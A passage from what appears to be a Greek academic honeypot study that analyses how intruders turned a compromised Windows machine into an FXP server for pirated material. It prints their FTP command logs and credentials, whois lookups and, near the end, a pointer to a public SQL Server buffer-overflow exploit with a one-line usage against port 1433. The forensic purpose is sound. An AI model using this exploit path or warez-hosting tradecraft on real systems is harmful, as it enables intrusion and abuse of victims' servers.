Αρχικά διαγράφει από τον κατάλογο c:/Program Files/Common Files/Microsoft Shared/MSInfo τα αρχεία tlist.exe, kill.exe και apis.txt από το ριζικό κατάλογο c:\.

Στο δεύτερο βήμα αναζητεί κάποιους καταλόγους. Ψάχνει από την διαδρομή c:/temp/ext16672/i386/winntupg/ διάφορους υποκαταλόγους μέσα σε αυτήν να και τους ορίζει σαν

προεπιλεγμένους για την **ftp** σύνδεση, δηλαδή όταν θα συνδεθεί από έναν απομακρυσμένο υπολογιστή στον **ftp server**, να παίρνει πρόσβαση κατευθείαν σ' αυτούς τους καταλόγους.

Στο τρίτο βήμα, διαγράφει όλους αυτούς του καταλόγους που δημιούργησε, για άγνωστο λόγο. Ισως η τοποθεσία c:\temp va μην είναι η κατάλληλη για τον σκοπό που δημιούργησε τους καταλόγους.

Και στο τέταρτο βήμα κάνει μία περιήγηση στον κατάλογο c:\inetpub (IIS folder) και τους υποκαταλόγους του και εκεί κλίνει τη σύνδεση.

Η επόμενη **ftp** control σύνδεση έχει πάλι σχέση με επεξεργασία καταλόγων. Αυτή την φορά, ο επιτιθέμενος θα προσπελάσει την διαδρομή του δίσκου

c:/Documents and Settings/All Users/Application Data/Microsoft/Crypto/RSA/ στο honeypot και στην συνέχεια θα δημιουργήσει μερικούς υποκαταλόγους.

Στην διαδρομή c:/Documents and Settings/All Users/Application

Data/Microsoft/Crypto/RSA/_/PGL/dont delete3/+02 ++++++++ -- S I L E N C E R --

++++++++++, θα αποθηκεύσει ένα text αρχείο με όνομα welcome silencer.txt (πίνακας 4-20).

•••••

PWD.

257 "/c:/Documents and Settings/All Users/Application Data/Microsoft/Crypto/RSA/_/PGL/dont delete3/+02 ++++++++ -- S I L E N C E R -- +++++++++ is current directory..

SIZE welcome silencer.txt.

550 /c:/Documents and Settings/All Users/Application Data/Microsoft/Crypto/RSA/_/PGL/dont delete3/+02 ++++++++ -- S I L E N C E R -- ++++++++/welcome silencer.txt: No such file..

PASV.

STOR welcome silencer.txt.

Πίνακας 4-20

^{257 &}quot;/c:/Documents and Settings/All Users/Application Data/Microsoft/Crypto/RSA/_/PGL/dont delete3/+02 +++++++++ -- S I L E N C E R -- ++++++++++ directory created..

²²⁷ Entering Passive Mode (192,168,0,2,4,133).

¹⁵⁰ Opening ASCII mode data connection for welcome silencer.txt..

²²⁶ Transfer complete..

Αυτό το αρχείο που αποθηκεύεται στο **honeypot** περιέχει ένα μήνυμα χαιρετισμού το οποίο ενεργοποιείται κάθε φορά που συνδέεται κάποιος στον **ftp server serverUDaemon**.

Μέσα σε αυτό το μήνυμα χαιρετισμού, ο επιτιθέμενος μπορεί να βάλει παραμέτρους ώστε να πάρει κάποιες πληροφορίες, όπως για τον χρόνο που είναι on line το μηχάνημα, την ταχύτητα μετάδοσης και λήψης δεδομένων, τον διαθέσιμο χώρο στους δίσκους του μηχανήματος και λοιπά.

🕞 🤇 🥝 Contents of TCP stream <13>				
C Contents of TCP stream <13> C C C C C C C C C C C C C C C C C C C	SCI ° ''. 7. ''. SCI ° ''. SCI ° ''. &ServerMins Min SCI ° ''.	s %ServerSecs Sec.		
@r@Current througput: %ServerKBps Kb/sec. @S@Free HD Space: %DFree Kb on %Disk. @#@~1001°~~1001°~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~1001°~~~~~1001°~~~~1001°~~~~~~~1001°~~~~~~~~	SCI°" . "]. SCI°" . SCI°"			
Entire conversation (1197 bytes)	<u>Ε</u> κτύπωση	🔏 Αποθήκευση ως	Filter out this stream a	Χ <u>Κ</u> λείσιμο

Εικόνα 4-13 – welcome silencer.txt

Σύμφωνα με τους **ASCII** που μεταφέρθηκαν στην σύνδεση που άνοιξε για να μεταφερθεί το text αρχείο, το welcome silencer.txt θα είναι όπως αυτό που βλέπουμε στην παραπάνω εικόνα 4-13.

Τα ονόματα που δόθηκαν στους υποκαταλόγους δημιουργούν μια τελική μορφή, όπως αυτή που φαίνεται παρακάτω στην εικόνα 4-14.

Εικόνα 4-14

•	Conte	ents of TCI	P stream <12>			_ = ×
drw-rw-rw-	1 user	group	0 May 17 20:13	+01	LOCATION GREECE.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+02	++++++++++ SILENCER +++++++++++.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+03	+++++++++++++++ 3 GB +++++++++++++++++++	
drw-rw-rw-	1 user	group	0 May 17 20:13	+06	i appz.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+06	i games.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+06	6 moviez.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+06	5 ps2.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+06	speedz.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+07	7 mp3.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+08	} +++++++ .Λ§ώΛΗt tφ tΗΛ Η.Λw ++++++++.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+09) ++++++++++++++++++++++++++++++++++++	
drw-rw-rw-	1 user	group	0 May 17 20:13	+10	++++ DON'T LEECH - ONLY FLASH ++++.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+91	RULEZ-INSIDE.	
drw-rw-rw-	1 user	group	0 May 17 20:13	+92	· ++++++++++++++++++++++++++++++++++++	
drw-rw-rw-	1 user	group	0 May 17 20:14			
drw-rw-rw-	1 user	group	0 May 17 20:14			
Entire cor	versatio	on (1292 by	rtes)	8	Εκτύπωση 🔀 Αποθήκευση ως Filter out this stream	κ <u>κ</u> λείσιμο

Δύο πράγματα μπορούμε να τονίσουμε, σαν παρατηρήσεις από τις ftp εντολές που καταγράφηκαν σε αυτή την σύνδεση.

Κατ' αρχήν η παραπάνω εικόνα 4-14 είναι το τελικό αποτέλεσμα της δημιουργίας υποκαταλόγων. Πρέπει να επισημάνουμε ότι δεν δόθηκαν μόνο εντολές δημιουργίας καταλόγων αλλά και μετονομασίας. Πιο συγκεκριμένα, η μορφή των καταλόγων που δημιουργήθηκαν ήταν αυτή που φαίνεται στον πίνακα 4-21.

drw-rw-rw-	1 user	group	0 May 17 20:13 +01 LOCATION UK.
drw-rw-rw-	1 user	group	0 May 17 20:13 +02 ++++++++ S I L E N C E R ++++++++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +03 +++++++++++ 1 GB ++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 appz.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 games.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 moviez.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 ps2.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 speedz.
drw-rw-rw-	1 user	group	0 May 17 20:13 +07 mp3.
drw-rw-rw-	1 user	group	0 May 17 20:13 +08 +++++++ Λ sú Alt t ϕ tha H.Aw +++++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +09 ++++++++++++++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13 +10 ++++ DON'T LEECH - ONLY FLASH ++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +01 LOCATION UK.
drw-rw-rw-	1 user	group	0 May 17 20:13 +02 ++++++++ S I L E N C E R ++++++++++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +03 +++++++++++ 1 GB ++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 appz.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 games.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 moviez.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 ps2.
drw-rw-rw-	1 user	group	0 May 17 20:13 +06 speedz.
drw-rw-rw-	1 user	group	0 May 17 20:13 +07 mp3.
drw-rw-rw-	1 user	group	0 May 17 20:13 +08 +++++++ . Λ § $\dot{\omega}\Lambda$ Ht t ϕ tH Λ H. Λ w +++++++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +09 ++++++++++++++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13 +10 ++++ DON'T LEECH - ONLY FLASH ++++.
drw-rw-rw-	1 user	group	0 May 17 20:13 +91 R U L E Z - i N S i D E.
drw-rw-rw-	1 user	group	0 May 17 20:13 +92 ++++++++++++++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13
drw-rw-rw-	1 user	group	0 May 17 20:13
drw-rw-rw-	1 user	group	0 May 17 20:13 +91 R U L E Z - i N S i D E.
drw-rw-rw-	1 user	group	0 May 17 20:13 +92 ++++++++++++++++++++++++++++++++++
drw-rw-rw-	1 user	group	0 May 17 20:13
drw-rw-rw-	1 user	group	0 May 17 20:13

Πίνακας 4-21

Η πρώτη παρατήρηση λοιπόν είναι ότι ο επιτιθέμενος χρησιμοποιεί ένα GUI ftp client εργαλείο που του επιτρέπει να κάνει drug and drop ολόκληρους καταλόγους, αν κρίνουμε από τον χρόνο που δημιουργήθηκαν οι υποκατάλογοι.

Και οι δεύτερη παρατήρηση, είναι ότι το **honeypot** μας με την ελληνικής προέλευσης **IP**, δεν είναι ο μόνος στόχος του επιτιθέμενου. Σίγουρα μία τέτοια δομή καταλόγων έχει δημιουργηθεί για παρόμοια περίπτωση στην Αγγλία.

Τι νόημα όμως έχει η δημιουργία αυτών των καταλόγων; Ας δούμε έναν τους καταλόγους. LOCATION GREECE, προφανώς δείχνει την τοποθεσία του παραβιασμένου μηχανήματος. Το όνομα του επόμενου κατάλογου, SILENCER, που το ξαναείδαμε και στο όνομα του **text** αρχείου μηνύματος χαιρετισμού. Πιθανώς να είναι το συνθηματικό του επιτιθέμενου. Το +++++++++++ 3 GB ++++++++++++, πιθανώς να ορίζει μέγεθος των δεδομένων που θα αποθηκευτούν, όπως θα δούμε παρακάτω.

Οι επόμενοι έξι κατάλογοι : appz, games, moviez, ps2, speedz, mp3. Είναι κατάλογοι που κατά πάσα πιθανότητα θα αποθηκευτούν τα αντίστοιχα δεδομένα , δηλαδή κάποιες εφαρμογές, παιγνίδια, ταινίες, παιχνίδια για play Station 2, mp3s και αρχεία για να μετράνε την ταχύτητα μετάδοσης.

Σύμφωνα με όσα είδαμε μέχρι εδώ, μπορούμε να υποψιαστούμε ότι η επίθεση αυτή, έχει σκοπό να χρησιμοποιηθεί το **honeypot** που παραβιάστηκε, σαν **ftp server** για διανομή παράνομου υλικού **warez**. Προφανώς, κάποιος ή κάποια ομάδα ανθρώπων, διακινούν τέτοιο υλικό, δηλαδή ταινίες, μουσική, παιχνίδια, εφαρμογές και άλλα, χωρίς άδεια στο διαδίκτυο, χρησιμοποιώντας παραβιασμένες μηχανές σαν αποθηκευτικούς χώρους.

Η επόμενη γραμμή , +++++++ .Λ§ώΛΗt tφ tΗΛ Η.Λw +++++++, Δεν ξέρουμε τι ακριβώς είναι. Ίσως ένα logo στην δική τους αργκό.

Παρακάτω δύο κατάλογοι με πληροφορίες προς τους χρήστες που θα θελήσουν να πάρουν το υλικό που προσφέρουν οι διαχειριστές του παραβιασμένου μηχανήματος.

Ο ένας δίνει μια συμβουλή '+10 ++++ DON'T LEECH - ONLY FLASH ++++.' Δηλαδή να μην μένουν για πολύ συνδεμένοι στο μηχάνημα απλά να παίρνουν στιγμιαία αυτό που θέλουν και να βγαίνουν.

O δεύτερος , R U L E Z - i N S i D E. , παροτρύνει να διαβαστούν οι κανόνες που υπάρχουν μέσα σε αυτόν. Από τις ftp εντολές που δόθηκαν από τον επιτιθέμενο ανακαλύψαμε ότι μέσα στον κατάλογο R U L E Z - i N S i D E υπάρχουν πέντε υποκατάλογοι με ονόματα :

R U L E Z - i N S i D E/+01 date your upload. example - 12.15.02 - for december the 15.

R U L E Z - i N S i D E/+02 upload only 0day.

R U L E Z - i N S i D E/+03 upload complete with sfv and nfo.

R U L E Z - i N S i D E/+04 dont cause more traffic than you need.

R U L E Z - i N S i D E/+05 thats all - now enjoy.

Οι κανόνες είναι απλοί.

Να σημειώνουν την ημερομηνία του upload, και αυτό να γίνεται μόνο την 0day .

Να ολοκληρώνεται το upload, με **sfv** και **nfo**, τα οποία αρχεία βοηθούν για την πιστοποίηση τυχών αλλαγμένων αρχείων (<u>http://www.jtpfxp.net/nfosfvrar.htm</u>).

Τέλος να μην προκαλείται δικτυακή κίνηση παραπάνω από όση χρειάζεται.

Είναι λοιπόν, σχεδόν σίγουρο, ότι πρόκειται για επίθεση με σκοπό την εύρεση αποθηκευτικού χώρου για **warez** υλικό.

Ας δούμε τις επόμενες κινήσεις του επιτιθέμενου.

Αφού έκανε μία δοκιμαστική σύνδεση για να ελέγξει, το μήνυμα χαιρετισμού και την δομή των καταλόγων, ξανασυνδέεται για να αποθηκεύσει ένα αρχείο με όνομα -- 1000 --. Πίνακας 4-22.



CWD +06 speedz.

250 Directory changed to /+06 speedz.

PWD.

257 "/+06 speedz" is current directory..

PORT 195,134,67,254,7,230.

200 PORT Command successful..

STOR -- 1000 --.

150 Opening BINARY mode data connection for -- 1000 --..

226 Transfer complete....

220-=...::Welcome to another Sil.nc.rs Pubstro!..... $220 - |@T@^{-\sigma}I \bigcirc \bigcirc I^{\circ} - \sigma I \bigcirc \bigcirc O^{\circ} - \sigma I \circ O^{\circ} - \sigma I \bigcirc O^{\circ} - \sigma I \circ O^{\circ}$ 220- $|@H@^{\circ}IOCI^{\circ}IOCI^{\circ}$ The S|l.nc.rs $^{\circ}IOCI^{\circ}IOCI^{\circ}|$. $220 - |@.@^{\circ \sigma}I C C I^{\circ \cdots \sigma}I C C I^{\circ}$ StRo °I©©I°^{...}°I©©I°[.]|. $220 - |@#@^{\circ \sigma}I C C I^{\circ \cdots \sigma}I C$ 220-\@#@^{...}oI©©I^{o....}oI©©I^o StRo Statistics ^oI©©I^{o...}oI©©I^{o...}. 220-|. 220-|S.rv.r Tim. : 0 Days 0 H 31 Mins 26 Sec. 220-|. $220 - |@#@^{\circ \sigma}I C C I^{\circ \cdots \sigma}I C$ 220-\@S@....Users logged in: 9 total. 220-|@i@.....Current users: 1. 220-\@L@.....Kb downloaded: 40 Kb. 220-\@.@.....Kb uploaded: 297 Kb. 220-\@n@...Files downloaded: 1 Files. 220-\@C@.....Files uploaded: 6 Files. 220-\@.@..Average througput: 0.180 Kb/sec. 220-\@r@..Current througput: 0.000 Kb/sec. 220-\@S@....Free HD Space: 4348.86 Kb on C. $220 - |@#@^{\circ \sigma}I C C I^{\circ \cdots \sigma}I C$ 220-\@#@ ScaNNeR..... Tw.nTyS.V.N. 220-|@#@ HaXoR..... CharlieD. 220-1@#@ FiLLeR.....: Th. Sll.nc.rs. USER crewupper. 331 User name okay, need password.. PASS silencers. CWD +06 speedz. 250 Directory changed to /+06 speedz. PWD. 257 "/+06 speedz" is current directory.. PORT 195,134,67,254,7,230. 200 PORT Command successful... STOR -- 1000 --. 150 Opening BINARY mode data connection for -- 1000 --... 226 Transfer complete....

Στον πίνακα 4-22, βλέπουμε αρχικά πως εμφανίζεται το μήνυμα χαιρετισμού στην αρχή κάθε σύνδεσης και τις πληροφορίες που παίρνει όποιος συνδέεται για τον **ftp server**.

Το ποιο ενδιαφέρον στο μήνυμα χαιρετισμού είναι οι τρεις επόμενες γραμμές.

220-|@#@ ScaNNeR..... Tw.nTyS.V.N.

220-|@#@ HaXoR..... CharlieD.

220-|@#@ FiLLeR..... Th. S|l.nc.rs.

Εδώ φαίνεται ότι όλη η διαδικασία γίνεται από τρία διαφορετικά **nick names**, δηλαδή ένας κάνει την αναζήτηση για υποψήφιες μηχανές στόχους, ένας που παραβιάζει τις μηχανές και ο τελευταίος φροντίζει για την μεταφορά των αρχείων.

Έπειτα ο επιτιθέμενος, ορίζει τον +06 speedz, κατάλογο μεταφοράς, και ανοίγει μία πόρτα σύνδεσης

PORT 195,134,67,254,7,230. Δηλαδή ανοίγει μία σύνδεση στον υπολογιστή με **IP** στην πόρτα 256 x 7 + 230 = 2022. Από αυτή την **IP** αποθηκεύει στο **honeypot** το αρχείο -- 1000 --. Αυτό το αρχείο περιέχει διάφορους χαρακτήρες, έτσι ώστε το μέγεθος του να είναι 1000k. Η μεταφορά του έχει σκοπό την μέτρηση της ταχύτητας μετάδοσης της γραμμής σύνδεσης.

Αλλά ποια είναι η IP 195.134.67.254;

Αυτή η IP διεύθυνση δεν ανήκει στον επιτιθέμενο, αλλά στο πανεπιστήμιο Αθηνών. [galex@galex]\$ whois 195.134.67.254

[%] This is the RIPE Whois server.

[%] The objects are in RPSL format.

[%]

% Rights restricted by copyright.

% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum: 195.134.64.0 - 195.134.127.255

netname: ATHENA-NET

descr: University of Athens

Panepistimioupolis, Ilisia

country: GR

remarks: -----For abuse and spam call the NOC Abuse Team

mail: abuse@uoa.gr

phone: +30 210 727 5600

% This is the RIPE Whois server.			
% The objects are in RPSL format.			
%			
% Rights restricted by copyright.			
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html			
inetnum: 195.134.64.0 - 195.134.127.255			
netname: ATHENA-NET			
descr: University of Athens			
Panepistimioupolis, Ilisia			
country: GR			
remarks:			
For abuse and spam call the			
NOC Abuse Team			
mail: abuse@uoa.gr			
phone: +30 210 727 5600			

Πίνακας 4-23

Το σενάριο λοιπόν εδώ είναι το εξής:

Ο επιτιθέμενος έχει παραβιάσει το **honeypot**, το έχει κάνει ftp server. Χρησιμοποιεί σαν ftp control πόρτα την 8976.

Όμως μεταφέρει αρχεία από κάποιον άλλο υπολογιστή, όχι από αυτόν που έχει ανοίξει την ftp σύνδεση, ο οποίος βρίσκεται στο πανεπιστήμιο Αθηνών και πιθανώς να είναι ένα άλλο παραβιασμένου μηχάνημα που έχει γίνει ftp server.

Τελικά ο επιτιθέμενος απ' ότι καταλαβαίνουμε, παραβιάζει μηχανήματα, τα ενεργοποιεί σαν ftp servers και μεταφέρει το υλικό του από τον ένα server στον άλλον.



Εικόνα 4-15 – fxp protocol

Αυτό το πρωτόκολλο που επιτρέπει την μεταφορά των αρχείων από τον ένα server στον άλλον λέγεται fxp (Foreign Exchange Protocol). Λίγα λόγια για αυτό μπορούμε να βρούμε στην ιστοσελίδα <u>http://www.smartftp.com/support/kb/index.php/14</u>.

Ένα fxp client εργαλείο που χρησιμοποιούν τέτοιου είδους επιτιθέμενοι, είναι το flasfxp(<u>http://www.flashfxp.com/</u>), αλλά δεν είναι το μόνο fxp client εργαλείο , υπάρχουν και άλλα τέτοια tools για windows, όπως το <u>IglooFTP PRO, SmartFTP,VoltoFXP Internet Exchange Rate</u> <u>Component</u> και άλλα.

Μετά την μεταφορά του αρχείου '-- 1000 --', η IP 217.81.125.206 σταματάει να δίνει εντολές στην πόρτα 8976. Η επόμενη σύνδεση με την αυτή την πόρτα γίνεται από IP 212.81.125.206. Αυτή η διεύθυνση προέρχεται από την Γαλλία

[galex@asterix galex]\$ whois 212.81.125.206

[Querying	whois.ripe.net]				
[whois.ripe.net]					
% This is	% This is the RIPE Whois server.				
% The obj	% The objects are in RPSL format.				
%					
% Rights	% Rights restricted by copyright.				
% See http	p://www.ripe.net/ripencc/pub-services/db/copyright.html				
inetnum:	212.81.125.192 - 212.81.125.223				
netname:	SAGE-FR				
descr:	SAGE				
descr:	MARENNES				
country:	FR				
admin-c:	PB5025-RIPE				
tech-c:	PB5025-RIPE				
status:	ASSIGNED PA				
notify:	ripe-notify@psineteurope.com				
mnt-by:	PSINET-UK-SYSADMIN				
changed:	network-ripe@psineteurope.co.uk 20040225				
source:	RIPE				

Πίνακας 4-24

Πιθανώς πρόκειται για μηχανή που έχει παραβιάσει ο επιτιθέμενος, και μέσα από αυτήν χειρίζεται τους fxp servers χωρίς να αποκαλύπτει τα ίχνη του. Μέσα από αυτή την μηχανή ανοίγει κάποιες συνδέσεις με την πόρτα 8976. Στην πρώτη σύνδεση κάνει ένα έλεγχο στους καταλόγους.

Στην επόμενη σύνδεση, που περιέχει δεδομένα, βλέπουμε να συνδέεται με ίδιο user name και password, και να δημιουργεί έναν κατάλογο Kangaroo.Jack.German.LD.DVDSCR.SVCD-CHE μέσα στον κατάλογο /+06 moviez.

🕞 🤇 🎯 Conteni	ts of TCP stream <12>			
drw-rw-rw- 1 user drw-rw-rw- 1 user	group 0 May 17 20:13 +0 group 0 May 17 20:14 group 0 May 17 20:14 group 0 May 17 20:14	<pre>11 LOCATION GREECE. 2 +++++++ - S I L E N C E R - +++++++. 3 +++++++ 3 GB +++++++. 46 appz. 46 games. 46 moviez. 46 psed. 46 speedz. 47 mp3. 48 ++++++++ - A§ŵAHt to tHA H.Aw ++++++. 48 +++++++ - A§ŵAHt to tHA H.Aw ++++++. 49 +++++++++++++++++++++++++++++++. 41 R U L E Z - i N S I D E. 42 ++++++++++++++++++++++++++++++++++++</pre>		
Entire conversation	(1292 bytes)	ΔΕκτύπωση Αποθήκευση ως Filter out this stream κλείσιμο		
WIKD /+00 moviez/r	angaroo.jack.German.LD.D	DSCK.SVCD-CHE/CD1/-COMPLETE-		
257 "/+06 moviez/K	angaroo.Jack.German.LD.DV	DSCR.SVCD-CHE/CD1/-COMPLETE-" directory created.		
PORT 193,154,164,2	228,8,144			
200 PORT Command successful.				
STOR kj1.r00				
150 Opening BINA	150 Opening BINARY mode data connection for kj1.r00.			

Πίνακας 4-25

Στον παραπάνω πίνακα 4-25, βλέπουμε τον επιτιθέμενο να δημιουργεί έναν κατάλογο Kangaroo.Jack.German.LD.DVDSCR.SVCD-CHE και να αποθηκεύει ένα nfo αρχείο, από την IP 193.154.164.228, η οποία προέρχεται από Αυστραλία (AU).

Από την ίδια IP παίρνει και το sfv αρχείο kj1.sfv το οποίο αποθηκεύει στον υποκατάλογο +06 moviez/Kangaroo.Jack.German.LD.DVDSCR.SVCD-CHE/CD1 που δημιούργησε πιο πριν.

Τελικά στον υποκατάλογο +06 moviez/Kangaroo.Jack.German.LD.DVDSCR.SVCD-CHE/CD1/-COMPLETE-, ξεκινάει και αποθηκεύει αρχεία rar μεγέθους 5Mb το κάθε ένα. Αυτά τα αρχεία είναι κάποιο μεγάλο, συμπιεσμένο rar αρχείο, που έχει διαιρεθεί σε πολλά μικρότερα.

4.2.5 Πληροφορίες για την πηγή της επίθεσης.

Η φυσική τοποθεσία αυτής της ΙΡ που κάνει την επίθεση είναι στην Γερμανία.

inetnum:	217.80.0.0 - 217.89.31.255
netname:	DTAG-DIAL14
descr:	Deutsche Telekom AG
country:	DE
admin-c:	DTIP
tech-c:	DTST
status:	ASSIGNED PA
remarks:	***************************************
remarks:	* ABUSE CONTACT: abuse@t-ipnet.de IN CASE OF HACK ATTACKS, *
remarks:	* ILLEGAL ACTIVITY, VIOLATION, SCANS, PROBES, SPAM, ETC. *
remarks:	***************************************
mnt-by:	DTAG-NIC
changed:	ripe.dtip@telekom.de 20001026
changed:	ripe.dtip@telekom.de 20030211
source:	RIPE

4.2.6 Αναγνώριση του Exploit που χρησιμοποιήθηκε

Ο κώδικας του **exploit** που εφαρμόστηκε, θα πρέπει πιθανόν να είναι το **C** πρόγραμμα που μπορούμε να βρούμε στην διεύθυνση: <u>http://www.securiteam.com/exploits/5YP0D003FQ.html</u>

Εκτελώντας τον κώδικα του exploit από Visual Studio C++ 6.0, παράγεται ένα εκτελέσιμο αρχείο (.exe). Αν τρέξουμε το παραγόμενο exploit με παράμετρο την IP ή το hostname του υπολογιστή που τρέχει τον ευπαθή SQL server

shell:/> <óvoµa exploit>.exe <victim IP>

Τότε θα εφαρμοστεί **buffer Overflow** στην πόρτα 1433 του θύματος και θα ενεργοποιηθεί η ρουτίνα **xp cmdshell** περιμένοντας παράμετρο κάποια εντολή του λειτουργικού *Εικόνα* 4-16.



Εικόνα 4-16

4.3 Επίλογος

Ο στόχος του επιτιθέμενου πέτυχε! Όλη η επίθεση είχε αυτόν τον σκοπό. Δηλαδή την εύρεση ενός ευπαθούς μηχανήματος για να γίνει fxp server που θα αποθηκευτεί **warez** υλικό.

Το δικό μας **honeypot** ήταν ένα μηχάνημα που μπόρεσαν να αποκτήσουν μη εξουσιοδοτημένη πρόσβαση, μετατράπηκε σε fxp server, και αφού πληρούσε την προϋπόθεση ταχείας γραμμής μετάδοσης δεδομένων, σύμφωνα με το τεστ που είδαμε στον πίνακα 4-22, ξεκίνησε η αποθήκευση του **warez** υλικού.